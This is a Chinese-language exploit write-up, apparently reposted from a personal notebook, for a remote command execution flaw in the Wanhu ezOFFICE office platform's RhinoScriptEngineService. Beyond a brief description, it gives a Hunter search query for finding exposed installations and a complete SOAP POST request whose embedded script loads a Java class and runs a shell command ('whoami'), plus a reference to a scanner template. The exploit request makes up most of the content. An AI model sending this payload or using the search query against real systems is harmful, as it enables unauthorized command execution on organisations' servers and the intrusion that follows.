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万户协同办公平台 RhinoScriptEngineService存在远程命令执行漏洞

一、漏洞简介

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台 RhinoScriptEngineService存在远程命令执行漏洞。

<font style="color:rgb(62, 62, 62);">二、影响版本</font>

  • <font style="color:rgb(62, 62, 62);">万户ezoffice</font>

<font style="color:rgb(62, 62, 62);">三、资产测绘</font>

  • <font style="color:rgb(62, 62, 62);">hunter</font><font style="color:rgb(62, 62, 62);">app.name="万户 Ezoffice OA"</font>
  • <font style="color:rgb(62, 62, 62);">登录页面</font>

1694241158110-8d4eef16-79f1-46eb-899b-344bd2a7a19f.png

<font style="color:rgb(62, 62, 62);">四、漏洞复现</font>

POST /defaultroot/services/./././RhinoScriptEngineService HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: '""'
Content-Length: 1211

<?xml version='1.0' encoding='UTF-8'?>
         <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav="http://javascript.script.sun.com">
           <soapenv:Body>
             <eval xmlns="http://127.0.0.1:8080/services/scriptEngine">
               <arg0 xmlns="">
                 <![CDATA[
                 try {
                 load("nashorn:Moziilla_compat.js");
                 } catch (e) {
                 }
                 importPackage(Packages.java.io);
                 importPackage(Packages.java.lang);
                 importPackage(Packages.java.util);
                 importPackage(Packages.java.net);

                 new URLClassLoader([new File('../server').toURL()]).loadClass('Test12').getConstructor([Class.forName("java.lang.String")]).newInstance(["whoami"]).toString()

                 ]]>
               </arg0>
               <arg1 xmlns="" xsi:type="urn:SimpleScriptContext" xmlns:urn="urn:beanservice">
               </arg1>
             </eval>
           </soapenv:Body>
         </soapenv:Envelope>

1710517486092-2328cd90-6d59-43a9-ab86-c36b6c70168f.pngwanhu-RhinoScriptEngineService-rce.yaml

原文: https://www.yuque.com/xiaokp7/ocvun2/fttdh58v7y4l0ggl